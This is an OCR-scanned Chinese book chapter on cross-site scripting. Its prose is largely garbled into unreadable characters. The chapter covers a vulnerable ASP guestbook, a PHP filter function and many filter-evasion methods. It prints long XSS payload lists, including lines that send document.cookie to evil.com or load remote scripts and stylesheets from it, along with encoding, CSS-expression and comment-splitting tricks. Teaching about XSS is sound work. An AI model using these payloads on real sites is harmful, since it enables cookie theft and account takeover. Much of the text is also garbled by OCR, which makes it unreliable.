IX Wy <textarea>2)5 FH K PH &5 AT S ) <textarea>dric. $AZULACHS, R/ #HLUE R B4 & F
o XA T ST T AT XSS WARIAEHE, W& 1-29 FaR.

Ome - HW@AG Pewremn @ (3
AL @ T hetp: //127.0.0. 1/ adnin/ad_index. htal v | i #a|
R ) @
| zEEw
§ o+ XT3N
| pEzE -
’(_ T ;i'.-l;-;‘--',;':?;-sc Nicrosoft Internet Explorer :X
a

AE1-29 FiThREE XSS

BA L2 A FE AT XSS, JF HiXA XSS 7EHH A B BB S A k. XFh XSS R
LR AR K, FOAEBGERN LR G B R, Bk & GER I tkRr XSS Shiif il i &1
MHATERERAE, L eEm . s, &0 8 E%.

We)a, iR, R AR RS MR SO **3w_Guest.asp, HHRAUSWIF:
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STt W TEORMX A2 ) 2 F, AT ANNAT R 2 A B B AT AL 1%, 75 W2 AT Il SE BRI N R ST . BRI Wbkl 134
A, WAETE A PRI RIEBORIEF AT AR R EUR IO T RCR 2 4b, #oE S A, LI DU & IERR -34S, SCRFE N IERR.
DA,

e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

#F1E XSS WE

e
Private Sub GetFormData({)

UserName = Trim(Reguest.Form("username"))

Mail = Trim(Request.Form("email"))

Homepage = Trim(Request.Form("homeurl™))

Content = Trim(Request.Form("content™))

QQ = Trim(Request.Form("qq"))

TypelD = Trim(Request.Form("TypeID"))
If TypeID="" Then TypeID=1
TableID = Trim{Request.Form("TableID"))
If TableID="" Then TableID=0

AddTime = Now()

Ip = Request.ServerVariables ("REMOTE_ADDR")

IsPass = 0
Ad ask = ""
End Sub
'ERCRE
Private Sub UpdateRs (ByRef Rs)
Rs ("UserName") = UserName
Rs("Mail") = Mail
Rs ("Homepage") = Homepage
Rs ("Content™) = Content
Rs("QQ") = QQ
Rs ("TypelID") = TypelD
Rs ("TableID") = TableID
Rs ("AddTime") = AddTime
Rs("Ip") = Ip

Rs ("IsPass") = IsPass
Rs ("Ad_ask"™) = Ad_ask
End Sub

FRCHSAUN T Request. Form()e& BORIKMUER S 43, BIEH 4. WO, B8 WAESE
B ARG (et LR A Rk, B BAEE S5 RS BER AT, BRI R T W T,
Ml 32— FFARY XSS 174

AL, XSS FEHBIA AL Web IR R IRE S A S B R R L 2R .

(EME XSS Mk fed, RMNSH TEZ LS XSS WA, LLEEIT i 55 bin F2 e % 85 il ) A (1) ik
€, X, RGO AFEEKE XSS EFRS AL .

XSS il 5K B I 7 FF0E RN XSS ARHG, XY XSS ARAGZEAS [ i 30 Y0 A . AS ] i R
Soy ANEIREREE B R AT B b A v RE. GRS, IR BEFRA Cheat Sheet, BRIATF I iR
A

[ &b %% 44 %4> T F2 UM Rsnake J& 05T XSS J7 1f (18 T, A B 25 XSS W FT00 13 £ 45 X Cheat
Sheet, HAEHAANETIET —H W) XSS Bk AR, of AR E Web B H]F2FF/& & /7 4E
XSS Jilil .

U A LA I U5 ) http://ha.ckers.org/xss.html & F|iX {/} XSS Cheat Sheet.

P 1-30 firz b &by XSS Brai A5 R i — kR .
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ﬁLiImu, WNAFAEBR A BRTE AR BOR AR A 1 T EURIC I TR Z A, #0il , BR S BI7 LAAC P . I SKIERRAS RS, SRR TERR .
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1.4 XSS Cheat Sheet

A XI55 (Cross Site Scripting) Cheat Sheet - Windows Intermet Explorer g@
IE @WEE FEW ERe IRAD ®he e
) sie - L E'2 JRSEC S

# | http://he. ckers. org/xss himl

1d, U1

XSS (Cross Site Scripting) Cheat
Sheet
Esp: for filter evasion

& 4 Internet

aE 1-30 XS5 Cheat Sheet

XSS Cheat Sheet JL - 1 H #i 77 ol figfk A2 XSS Ml HI®], 988, XSS HiAR—H RN
RIS, BORIEY) RIGLLIFACRIER XSS H#l, BHENAR M. X Rt
Web W HIFEFHEST XSS Ml dE W ], Rk B 9o aR.

i Y IR IR T sl 6, 45 R fTf¥) XSS Cheat Sheet, W1 1-1 fioR, i KK SH,

* 1-1 izt A B

<script=alert(1):</script>

<script>alert('XSS');</script>

<script sre="http://www.evil.com/cookie.php"></script>

<seript>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>

<scr<script>ipt=alert('XS5');</scr</script=ipt>

<script>alert(String.fromCharCode(88,83,83 ))</script>

<img src=foo.png onerror=alert(/xss/) />

<style=@im\port"ja\vasc\ript:alert(\"XSS\")';</style>

<7 echo('<ser)'; echo('ipt=alert(\"XS8\")</seript>"); 7>

<marquee><script=alert('XSS8')</script></marquee>
<IMG SRC=\"jav&#x09;ascript:aleri("XSS');\"> -
<IMG SRC=\"jav&#x0A:ascript:alert("’XSS');\">
<IMG SRC=\"jav&#x0D;ascript:alert("XS8");\">

<IMG SRC=javascript:alert{String.fromCharCode(88,83,83))>
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F1HFE XSSHHE

"=><script=alert(0)</script>

<script sre=http://www.evil.com/files.js></script>

<ftitle><script=alert(/xss/)</script>

</textarea><script=alert(/XSS/)</script>
<IMG LOWSRC=\"javascript:alert("XSS")\">
<IMG DYNSRC=\"javascript:alert("XSS")\">

<font style='color:expression(alert{(document.cookie))'>
'}; alert("XSS

<img src="javascript:alert("XS§')">

<script language="JavaScript">alert("X88")</script>

[url=javascript:alert("XS8");]click me[/url]
<body onunload="javascript:alert("X88");">
<body onl.oad="alert('XSS");"

[color=red' onmouseover="alert("XSS')"|mouse over|/color]

"f><fa></><img src=|.gif onerror=alert(1)>

window.alert("XSS");

<div style="x:expression((window.r==1)?":eval('r=1;alert(String.fromCharCode(88,83,83));"))">
<iframe<?php echo chr(11)?> onload=alert('"XS8')></iframe>

"><seript alert(String. fromCharCode(88,83,83))</script>
">><marquee><h1>X88</h1></marquee>

">><script=alert("XSS')</script>

">><marquee><h1>X88</h]></marquee>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0url=javascript:alert{"XS8");\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert("XSS');\">

<script>var var = 1; alert(var)</script>

<STYLE type="text/css">BODY {background:url{"javascript:alert("XS5")")}</STYLE>
<?='<§CRIPT>alert("XSS")</SCRIPT>'?>

<IMG SRC="vbscript:msgbox(\"XS8\")">

" onfocus=alert{document.domain) "> <"

<FRAMESET><FRAME SRC=\"javascript:alert('XS8");\"></FRAMESET>

<STYLE=li {list-style-image: url(\"javascript:alert("XSS"\"); }</STYLE><UL><LI>XSS§
<br size=\"& {alert('XSS")}\">

<scrscriptipt>alert(1)</scrscriptipt>

</br style=a:expression(alert())=

</script=<script=alert{ 1 )</script>
"><BODY onload!#$%&{()*~+-_.,::?@[/|\]* =alert("XS8")>

[color=red width=expression(alert(123))][color]
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1.5 XSS HisEl#F

e

<BASE HREF="javascript:alert('X58").//">
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
"></iframe><script>alert(123)</script>

<body onLoad="while(true) alert('XSS8");">

"></title><script>alert(1111)</script>

</textarea>'"><script>alert(document.cookie)</script>

"s<seript language="JavaScript"> alert('X \nS \nS');</script>

</script></script><<<<script><>>>><<<script=alert{123)</script>

<html><noalert><noscript>(123)</noscript><script>( 123 )</script>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XS8");">
'></select><script>alert(123)</script>

'>"><seript sre = "http://www.evil.com/XS8S.js'></seript>

}</style><script=a=eval;b=alert:a(b(/X85/.source));</script>
<SCRIPT>document.write("XS8");</SCRIPT>
a="get";b="URL";c="javascript:":d="alert("X88");";eval(a+b+c+d);

="><script>alert("XS8")</script>

<script+src=">"+src="http://www.evil.com/X58 js769,69"></script>

<body background=javascript:'"><script>alert(navigator.userA gent)</script>></body>

">/XaDoS/><script>alert{document.cookie)</script><script src="hitp://www.site.com/X88 js"></script>
Data:text/html;charset=utf-7;base64,1j48L3Rpd GxIPjxzY 3JpcHO+Y WxlenQoMTMzNyk8L3NjemlwdD4=

"<marquee><img src=k.png onerror=alert(/XS8/) />

"<marquee><img src=k onerror=alert(/XSS/) />

"><marquee><img src=k.png onerror=alert(/XS5/.source) />

</div><script>alert(123)</script>

"><iframe src="javascript:alert(document.cookie)'></iframe>

<div style="background:url('javascript:alert(1))">
<img src='java\nscript:alert(\"XS8\")">

>"><img src="javascript:alert("X58')">

" style="background:url(javascript:alert(/X85/))"

>"><script>alert(/XSS/)</script>

"=</title><script>alert( 1 )</script>

"=</title><font color=red onmouseover=javascript:alert(1337)>XSS</font>

<SELECT NAME="" onmouseover=alert(123)></select>

LT NS s

1ok, UHA—2% XSS Expliot ik, #ltn, n{lseit ik % um i) XSS S aE RS0, o] by fi
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w1 xssum . . . PR

) XSS A AL e oo

1.6.1 %37 XSS—Filter

T 9 Do A A R GEREAT T XSS A, BEANLFE AR R R AL, (EJE, BRE P K E HH) Web
MR AR i R G R 5 AL, I E .

e b, —AMEFATOITRA R/ BARAREVE B SRR PR AT Bug sk . &
WHOLR, TS A, &7 Web B P ¥evh—4> XSS Filter, BPESus AT 3888, H
For i FPSRAS N 0 B3 6 R 95 0 B A ik B RK (Y HTML 8815 8 ) HTML #% U8R

XSS Filter — 4 T B [ 4 B A 24 I8 SRR, B4 22 b 258 1) 308 4 Bl 11 48 SR B 48 L K
FZe, A4 RAFTRIN R AT{E R X N R F A R e B s 1 2, PR AR B . B AN N ]
FEFPfE Al 72 T A R s SReg, B4, M RAE RN, XFRSM XSS Filter 20 Fi 47 i)
WATRE, RN R A R s, EREATEER. RIS A aE A A .

XSS Filter SEFR & —BOROga S5 1L a8 ek 8, X0 kAT s LLER, 8T REFH A
NS, MRS T phpems2008 (global.func.php X)) i —BARES:

function filter xss($string, S$allowedtags = '', Sdisabledattributes = array('onabort',
'onactivate', ‘'onafterprint', ‘onafterupdate', ‘onbeforeactivate', ‘'onbeforecopy',
'onbeforecut', 'onbeforedeactivate’, 'onbeforeeditfocus’', 'onbeforepaste’,
'onbeforeprint', 'onbeforeunload', 'onbeforeupdate’', 'onblur', 'onbounce ',
'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy',
'oncut', 'ondataavaible’', 'ondatasetchanged’, 'ondatasetcomplete’, 'ondbleclick’,
'ondeactivate', ‘'ondrag', ‘'ondragdrop', 'ondragend', ‘'ondragenter', ‘'ondragleave',
'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterupdate',
'onfinish', 'onfocus', '"onfocusin', ‘'onfocusocut', 'onhelp', 'onkeydown', 'onkeypress',
'onkeyup', 'onlayocutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter',
'onmouseleave', 'onmousemove', 'onmoveout', 'onmouseover', 'onmouseup', 'onmousewheel’,
'onmove', 'onmoveend”', 'onmovestart', 'onpaste’, 'onpropertychange’,
'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowexit',
'onrowsdelete’, 'onrowsinserted', 'onscroll', 'onselect’', 'onselectionchange',
'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'})
{

if(is_array($string})

{

foreach($string as $key => $val) $string[$key] = filter_ xss($val, ALLOWED HTM-

LTAGS) ;

}

else

{

$string = preg replace('/\s('.implode('|', Sdisabledattributes)."').*?([\s\>])/",

"\\2', preg_replace('/<(.*?)>/ie', "'<',.preg replace(array('/javascript:[*\"\']*/i",
*/(".implode('|"', $disabledattributes).™) [ \\EAARI*=[ \\EAARI* (AN [AN"ATDI* AN ) /L0,
'/\s+/'), array('', '', ' '), stripslashes('\\l')) . '>'", strip_tags($string,
Sallowedtags)));

}

return $string;

XBACE R FE AR IE XSS B30, B TIRERREAE filter_xssOQr, MEEFEFE AL P40 A28
RO i pR R, AR LA B AL B i B A
JEAEIXAS XSS Filter WIHRREEMVEL, (KRG aTRerE. RO ESRBRIEE T,
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1.5 XSS B4

PRI R Y %2 XSS B R MAEM, FFAH LN E % B APl XSS MM, Fhscili
KA M H .

M “H” Hf R L. BaR 28t XSS Filter (MR 6, BEibiXseme), HEEE
AETE N 1 % XSS B8 ik B A i) A ik .

(1) FH<>Fridi 4+ Html /Javascript.

Wi Foay CABE TR S | A< > bRl A thak fEdE— HTML #5348, #R )5 it <scirpt>
PrE e R 46 A H JavaScript 88 Vbscript 4 5 (1% & 4055 .

P

| <script>alert('XSsS'); </script>

Kk, XSS Filter 1 243 ph EREATILBEMFE IR “<>” 8l “<script>" FFF.
gt —k, KT XSS MIAEAFE, .

| <script>shellcode</script>

(2) FIH HTML %8 @ AT XSS,

BTE, B AfEfE B S8 HTML brid, {2 Ab 4T o] ELAE A oAb 7 AR 4T XSS, #)
W HTML #5251 JR PE1H .

iR % HTML Fric o (1) ) 4 & S £ javascript:[code] DA PRI, X MFE PRI T
URL (f ¥ & AT &) JavaScript fC63, 1 JavaScript FIfEFE 481217 .

Brek, HP e LA HIEB 4 HTML bRid (A8 PEE AT XSS, WHE F i 4.

<table background="javascript:alert (/xss/)"></table>
<img src="javascript:alert('XSSs');">

B 1-31 B iR IMG #5920 sre JPESAT XSS kA, W RAER N a8 hisfT bR
FHXUEHE, AN, DA AVRRTATID Web 31 W25 #1SKF JavaScript DM, FrLAMESE XSS Hriti
BA- 2 MRREE, AL AR A KR P AR S RO 3L %48, W1 Internet Explorer 6 35

ﬁf ‘Documents and Settings'Administrator \SL[D\test html

Nicrosoft Internet Explorer E

Y REQD BEQ FTHFY By
<img src="javascript:alert('%ss"');™>

AE 1-31 FI SR AL
R, AR PRSP ARGE ™ 4= XSS, W S5 H M R A G R B i A,
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B1#FE XSS K

A AT LUE AT i A Js K ik XSS

href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=

Rl H 2, EERE T RN XSS, MBI JavaScript FF X BT .

Aok, BT, FFAEFTHIRA S Web TUR B AER & JavaScript, A Al RVF(E, o
Vbscripts

(3) %[0 % Tab.

R XSS Filter (WA BUERKIRIA FFFFIA R A LA, WX HUET javaseript =, W]
EAF 25 [BIZEHD Tab SRR BRG], #&F T i) r-

| <img src="javas cript:alert(/xss/)" width=100>

& javas Fl cript 2 A fE)A) B AN & FR RS A NG, a2 [Tab) @M. LA
PREFAE—A HTML CR4R, FHER] IE 6 FTFF% 3084, i 1B WA 5 i HE, i 1-32 fios.

B test.htnl - i3k

IHE SEQ #Q FFY ¥H
<img src="javas cript:alert(/xss/)" uidth-1llﬂ

A[E 1-32 FH Tab k@ =F

R BT, F P RER SO JEAR M BRG], 2R, IXFEISARMTE [Tab] 8,
EATEAMER [HZEL (224 ] 2K HARBAIRT .

HAt AL HBLXFRSL? JRIR E A . JavaScript W AJE F LL4r 5 452, WIR JavaScript 5] %
MBI N, X ATHRSRARITH, BT LIAES S

var a= true
var b="this is also true"

WRE—AT P 2 NER, WA MEQRLAE 235 R4 W

l var a= true; var b="this is also true";

Bk 1 7E5 |5 o B o e Rl A A R 2 0, WA I B e LU AP S I E e i . R i
A, BAREA DA —MRATR, {238 R (E 55 2 8Th:

| var a
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1.5 XSS Hk ZIHT

= 'hello world';
alert(a);

5B AT AT R BRI 2R, RN BAT AR A — AN e #EE AU, JavaScript &
LA TR AR, EEEAR S BRI E RSSO L.
PR, FH AT AR i AR T A Ge il RZEXT JavaScript K8 7 (ML 28

<img src="javas
eript:
alert (/xss/)" width=100>

e 1-33 fioR, EAHCARIZERF MR T (FRr K87 MBIy, MIIPAT T B A4S

#0W) €70 \Documents and Settings\Administrator\MLi\test htnl

_l-i.c:o's.pft.. _I.nté_l;-ut- Explorer | X|

P test. htal Tol (S

IHE REQ BAQ EFFw ¥Ho
<img src=""javas

cript:

alert(/xss/)" width=100>

AE 1-33 AR XSS L5

(4) XHFRAE M PE(EFE Y .

Ak, Al HTML bric (s v ATt a8, P ik e DUl 4a i A Bk S8, (R4 HTML
w1 A 5 S FF ASCH TR .

ASCII % (American Standard Code for Information Interchange), Bl 3€ B {5 B B ¥ brMEALID,
& H A SHUSGE H M g b . BN EOL A IR 2 85 B ASCHL AR5 F FHE A U7 R TR,
PAETHSEHLAE S 2 AL, e K'E 76 A ) ASCI 542 65. #rHEM ASCII F33R, Wil 1-34
Fi 7o

W HTML (8 PEAF SCRF ASCIT A5 HFE, 412 XSS 18-

| <img src="javascript:alert('XsSS'});">

il

I <img src="javascrip&#ll6&#58alert (/XSS/);" >

XY ASCII f9& vl LA, t 1) ASCIL S A 116, H “&#116”7 Fan: KR A &#58, AL
[ A ] javascript:alert("XSS"); ¥4 5 48 il -

| Jjavascripa#lles#58alert(/XSsS/)
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#1&E XSS¥KE
Ctrl Dec Hex Char Code Dec Hex Char Dec Hex Char Dec Hex Char
~@| o |00 NUL | |32 |20 64 |40 | @ 96 |60 | °
~al 1o soH | 33 |21 | ! 65 |41 | A 37|61 | @
8| 2 |02 sTx | [34 |22 | = 6 |42 | B 98 (62 | b
~c | 3 |o3 ETX 35 |23 | M 67 |43 | C 39 |63 | C
~p| a |oa eot | |3 |24 | § 8 |44 | D 100 |64 | d
e | s |os eng | |37 |28 | % s |45 | E 101 [65 | @
~e | & |oe ack | |38 |26 | & 720 |46 | F w266 | T
~6 | 7 |oz BEL | |39 |27 | ° 71 |47 | G 10367 |9
~n | 8 |08 es a |28 | ( 72 |48 | H 104 68 | h
~1 | 9 |os HT 41 29 |) 73 |as | I 105 |69 | 1
~3 |10 |oa LF 42 |24 | = 74 |aa | J 106 [6a | ]
~k |11 |oB VT 43 |28 | + 75 |48 | K 107 |68 | k
AL |12 |ocC FF 44 |2¢ | ° 7 |4c | L 108 [sc | 1
~m |13 |op cR 45 |20 | = 77 |lao | M 105 |60 [ m
an |14 [oE so 46 |28 | * 7 |4 | N 110 |68 [ N
~0 |15 |oF st 47 |z2¢ | / 72 |4 [ 0 111 [6F | ©
~p |16 |10 pLe | |48 |30 | @ so |so [P 12|70 | p
g |17 [ 11 per | [49 |31 |1 gr |s1 |0 13|71 | q
~r |18 |12 pcz | |so |32 | 2 g2 [s2 | R 114 (72 | r
s |19 |13 pex | [s1 |33 | 3 83 |53 | § 11573 | s
AT |20 |14 oca | |s2 |34 | & g4 |sa | T 116 [74 | 1
ay |21 |15 mak [ |s3 |35 | S 85 |ss | U 117 |75 | u
v |22 |18 syn | |54 [36 | 6 g6 |s6 |V 118 |76 | v
Aw |23 |17 eme | |ss |37 | 7 87 |57 | W 118 |77 | w
~x |24 |18 can | |se |38 | 8 ss [ss | X 120 |78 | X
Ay |25 |19 EM 57 |39 |9 8s |59 | Y 121|79 |V
~z |26 |1a suB | |58 |3~ | : 90 |sa |2 122 |78 | 2
Al |27 | 1B ESC | |58 |38 | g1 |se | [ 123 |72 | {
~y |28 | 1€ FS 60 |3c | < 92 |sc |\ 124 |7¢ |}
A1 |20 | 1D GS 61 |30 | = 93 |so | ] 125 |70 | }
~~ 130 |1E | & [Rrs 62 |3 | > o4 |se | ~ 126 |7 | ~
ae |31 [tF | w |us 63 (3¢ | 7 95 |s5f | — 127 |7¢ | O

T ASCI! code 127 has the code DEL, Under MS-DOS, this code has the same effect as ASCIL 8 (BS).
The DEL code can be generated by the CTRL + BKSP key.

o 1-34 ASCII 8%

SEHFE AW T

| <img src="javascrip&#ll6és#SB8alert (/XSS/);" >

KBRS 1B 3088 s BT BRI 1-35 FTo.
PR, R XSS $EH0 R L

<img Sre=&#106;&#97; 48118 6#97;6#115;&#99; a#114,;&#105;&#112;&#116;6#58;&#97;&#108;
EH10L;6#114;6#116;6#40;6#39; 6488, &#83;5#83,54#39,5#41;>

<img src=&#0000106&#0000097&#00001184&#0000097&#00001155#000009944#0000114&#00001054&#
0000112&40000116&#000005854#0000097&#0000108&#0000101&#0000114&#000011654#0000040&#0000
039&#0000088&#000008354#0000083&54000003%&40000041>

A

<img src=1 onerror=&#118;&#98;&#115;&4#58; msgbox+1>
<body onload="vbs:execScript"alert(0)","&#x6a;avascript" >

MR U &#01 . &#02 “FF 45 4d A F| JavaScript 88 Vbscript £k, H4b, Tab #Ff ASCII 15
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1.5 XSS iR

&H9. BATEHNI&H10. [EIZERAO&#13 AT LB A B ST R H o

HfE (0 @7)C:\Documents and Settings\Administrator\Sfli\test. htnl

T e g

THE GRE SR SEW BHo
<img src=""javascrip&i116&#58alert(/XSS/);" >

A[E 1-35 WEMEAEHITRD
UUE

| <img src="&#01;javascript:alert(/a/)">

XA RBIE ASCH B4R RIS ML EE, HAP&#01;7]E li&#1, MR —Ff.
A FMCIS PSS, A H&H09,FFF, T

| <img src="javas#09;scr&#l0;ipt:alert(/a/)">

BrEk, 4 7 BRI HTML #R38 R PEE D) XSS, Sl thid & # \FF1F.

(5) a3,

IMAE, BEH P AR B AT, IBE AR ik BEEREEN, SmElt
h—Hprik.

BAr1HE, JavaScript 5 HTML Z [8] (A8 B AR SEBUG, SH0Fut 2 F P sl 548 5 5
AT R E, i click. mouseover. load 25, 1fiy Wi iS4 (K] pf Eowh U {4 S5 b PR e B (el
AT 88O .

H T B AR IX S, WA I A

| <input type="button" value="click me" onclick="alert('click me')" />

XA HTML ARBS T i SR b BRI, AT X BRAS, M%ihi [click me) #4155, Sk
onclick $i, REHAT 4P JavaScript (G5, Wl 1-36 Fizx.

SeAFHESE U T ] A T RS A O fer B 4852 B . W3C (World Wide Web Consortium,
JTHEMIE S RS 3 MASFEI2E ] .

Mg CRlbe. #a)

B CAEEE SR

T G ORI TS0
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Z1E XSS ¥R

BEAR 4 fig ik JavaScript fURSIZAT, BEARRWRAT I WAEAI AT ERATEE W A, - W

| <img src="#" onerror=alert(/xss/)>

8 R RAAAE— A HTML 3CfF, SRS A6 3 AR AT IF, R 1-37 fros.

N (Al A ) . 3 .
LRI g R T -

wr Gt

FRAL G @_] C:\Documents snd Settings‘Administrator\SH test himl

J click me

aE 1-36 HTML h B4R

HALE D) #7C:\Documents and Settings\Administrator\S@\test. htnl

A 1-37 FBEAHTT XSS

JavaScript {URS BT SR i AT 1. X E WA UEH]— F: onerror & IMG bric )N 3, H#E
iR AR, R LRI . XA RER, ] SRR IMG FRid IR, SNk sre
JRYEG I B dahk, i 2 B A ASAELE R 22 il onerror S

AR (P R A, AT AR J ] Bliz H -

onResume
onReverse
onRowDelete
onRowInserted
onSeek
onSynchRestored
onTimeError
onTrackChange
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1.5 XSS MBI

onURLFlip
onRepeat
onMediaComplete
onMediaError
onPause
onProgress
onOutOfSync
oncontrolselect
onlayoutcomplete
onafterprint
onbeforeprint
ondataavailable
ondatasetchanged
ondatasetcomplete
onerrorupdate
onrowenter
onrowexit
onrowsdelete
onrowsinserted
onselectionchange
onbounce
onfinish

onstop
onresizeend

(6) FIA] CSS #EuLHIHT .

XSS Fuh AR 5 — AR CSS FERE, W CSS FEEKMAT JavaScript A HBE#. RiF
LA, HR CSS PR MRAMG L. SHWRY MAGREH, HETMER %%
AR RS A Z 5] A e A

#H CSS EL4EHAT JavaScript fSHS =81 F

<div style="background-image:url (javascript:alert ('XSS'))">
<style>

body {background-image: url ("javascript:alert('XSS"')");}
</style>

AT RR W 1-38 Fras.

! %_}CZ\Docmmts and SettingsiAdministrator\SLE4test. hinl

f test.htal - B F

@ WEQ Bl FRe WHhE
<{div style="background-image:url{javascript:alert
("KSS°))">

A% 1-38 FJH CSS Eih
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IES K H LLJG R A 3 FEfE CSS H1{#i ] expression, {#iFf] expression [FA#f A LAk A& XSS #iF, i
FHUR:

<div style="width: expression(alert('XsSs'}));">
<img src="#" style="xss:expressionlalert (/X5S5/));">
<style>

body {background-image: expression{alert ("XS5"));}
<fstyle>

EL L= Bi{E ] CSS ") expression $44T JavaScript 1855, expression f k3t CSS J& ¥ Fil JavaScript
FLFORHGE K. CSS mEErT LU e R E A MENY, BTl Ae Rk, R css BitEmE
— Bt JavaScript #IAF, WIS T JavaScript ik X i+ H M4 R .

A0 1 E R BE R B SR ) N L] A B AR I B style ARE5/)R M .
WRM RS T style #7%, F B w] EIRI 5> HTML #2510 style J& fEBATAS . 0 HL, style
JRPE A ELAME R PR bR 45 6, BTUAAS KB B AREE, b2t style J8 P HEA T .

ARELF T 1

<div style="list-style-image:url (javascript:alert('XSS'))">
<img style="background-image: url (javascript:alert('XSs"))">

LRI, A B AR URL BHRAAT XSS, L5 b, )5 —FAM%ER T

<img src=" javascript:alert('XSs')">

gbhbh, CSS FEEATEHAZ HTML AR5, & AE M AL SO 28 2 W AR F ) B ARHLES
AT, Een, HP AT R H<link>#74%5| F CSS:

5K e SC {4 btk 4 http://www.evil.com/attack.css, attack.css A B ai# A& # CSS 30, I
A T XSS 465

p i

background-image: expression(alert ("XSs5"));

}
IXEHE, HPRP S5 XSS Expliot 1 F:

i <link rel="stylesheet™ href="http://wuw.evil.com/attack.css">

il XA AT ES S AR T, T A A BBt
B T <link>Fr5b, £EM T 5| HISME CSS it Rl LA @import 3L 5N, RS0 F:

ﬂ <style type='text/css'>@import url(http://www.evil.com/xss.css);</style>

Irh,  http://www.evil.com/xss.css A 2 :

.showCSS{
event:expression (
onload = function()
{

alert ("XS55');

}

)
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Bk A W, {3 @import F link 77 306 o] LU FA L S AN & A XSS AR AR % 0.
@import A7 MM, BEIE A B BT JavaScript U89, W1
<style>

@import 'javascript:alert ("XS5")';
</style>

mE 1-39 fras, {#H@import o] B Ihfil & XSS.

HEdE (D) j@c:\ﬂommls and Settings\Administrator‘\SLf\test. htnl

P test.htal - ik

TkE) HEE B HFEQE WHW
{style>

@import °®javascript:alert("X$s")';
</style’>

aE 1-39 {EMH@import 57 XSS

Fit, L4 W, 7% expression. javascript. import U F &R T th BT 38

(7) $EELTIEMN .

FIHI AT AR ) & Fh B Ty, 85 HTML taB8EEE. 990k, CSS. miSHiARSE, H 7 AENA|
Zéid XSS Filter (1) #id #8.

FEFF RAERIS R 2SS, (EIF AL b a] fE C 284740 % 18 3 %-fP &R XSS fin, MR)aiH#
LF PR BT, Wk, REAAREINEN, L4 BEAEKAMG, EREE TR

A IEH ) XSS A
| <img src="javascript:alert(0);">
e K5 A ) XSS:
| <IMG SRC="javascript:alert (0);">
KNANFIRHH) XSS:

i <iMg sRC="jaVasCript:alert (0);">

ARG, ] 5] 5 1) XSS:

| <img src='javascript:alert(0);'>

AMERF]5 /) XSS:

| <img src=javascript:alert(0);>
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E1¥E XSSHE

PAIFIEH 1) XSS S B, 32 LB ME Ml — PR @l 847 ol fieeid XSS Filter.
RATEIE ! BANFEF M XSS BI5:

<img/src="mars.png"alt="mars">
<img/src="javascript:alert('XSs5');">

TERGX LK) IMG FRICH sre [ P2 M BATE M, TR R/BRITH, BEBUREDLE IE 6 hHEMThh
1, Wk 1-40 Pros.

E test.htal - 123 %

IFHI). .!(E) Ei&tl) I‘I"ED _ﬂ:w
<img/src="javascript:alert{"XsS");">

AaE1-40 WHAFEF
HHH expression $AAT RS ACASIS, W) LUK IEAS [R )4 A F 1 D0 AL L & B )«

<XSS STYLE="xss:exprEssion(alert('Xss"'))">
<div style="( left:expression( alert('xss") ) }">

FERFR P /2 YA 20, Rkl LUE A * SRR 740, I3 AR Frrseid il 38,
.

<XS5S STYLE="xss:expr/*X55*/ession(alert('Xss'))">
<div style="wid/****/th: expre/*XSS*/ssion(alert('XsSS"));">

H AT K2 o 28 RAEAOR ] R 42 ARk a8, P o] BAGS &8 HIVER A T OO R 38 28
WL AE I
<scriScriptpt>alert('XSS')</script>
<img src="java/*/*javascript*/script/*javascript*/*/script:alert():" >
<img src="java/*script:alert():;"><img src="javaa*/script:alert();">
<img src="java/*exp/**/script:alert();*/ression(alert(l))">

<img style="width: exp/*ression(alert());" src="java/*exp/**/script:alert();*/ression
(alert(1))">

Bk 7 ah, BECPRZE VRIS A0t R A W A8 R ek 1, -

@\0im\port'\0Oja\vasc\ript:alert ("xss")"';
@\i\Om\00p\000o\0000N\00000\000000t " url™;

] LLEF CSS iR Xl P ab TR0 b FE, Wk e Hdlies, IS 0 (K.

<p style="xss:\65xpression(alert (/XS58/))">
<p style="xss:\0O65xpression(alert (/X85/))">
<p style="xss:\0065xpression(alert (/X55/))">
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15 XSS it Elt

IEWRETE 2, PREL s 7 T, REEERE, FP ar CUE R S Phh 17 2 98t
JERYE . IR, IR 8 BT Web ) W5 2% 2 1) (1) 2 53¢ 22 7 1 SR ILAE X HTML [93E 3¢ X JavaSeript
(AR LA X CSS FISCHE b, X882 S RN AR AT Ak 5 & PR R XSS, iH4kEE T i ) <6l

| <!--<img src="--><img src=x onerror=alert(1l)//">

XA TRAFIF R T 0 SRS AR AT HTML 33 A7 7E 1 o) JBUR AT JavaScript.

| <comment><img src="</comment><img src=x onerror=alert(1l)//">

XA RGN FIFER T 30 88 i A HTML VR A 7E () 8] DK AT JavaScript, 537611 AN
ik, Zanl HSCHF TE R0 %8s .

| <style><img src="</style><img src=x cnerror=alert(l)//">

XA REIFIR T S SCA R R 1 R AR TR ALK ol i 9E 4% -

b b, B4 XSS M B s vl —f, BT Web J AR, AR, %A
() HTML. CSS. JavaScript 35| S thArfE R S B FEZER, BN LA DE KN T AR XSS
FEUFNB LSRRG, XSS MIEHEAR AR HAENT]. BEF IR,

HIBERT ML, AN XSS Filter BTHG £ ™8, #8AB A SeuL (K nT B8, 1715 b 07 050 S\ = e i,
T A RERELR Web RYEASERS Bh A M i — ELRAMEMRHRIT I L RS STER S — R b it

1.5.2 FHFEHFRG

TSRS A b F e 2], B IXM Ty, AUEELL XSS AL Set ik %5 b L 3E,
I fE 5 4 B2 Shellcode.

WIATICRTIA, HTML A% i) 32 @ 4 (i v LAE I &#ASCH 7 AT 4SS, iXFh XSS #
0 ¥+ fIA SRR

K7 ERR, BATTEEFRAEH A~ XSS il TR, LAMEXFAAF 3T+ HIR 7S i
HRPaRREY, % RN LSSl ESCAPE H A0 FI#RGS, Wik 1-41 Fios.

BL “<img src="javascript:alert('XSS");">" Jf#, EHEIEM S

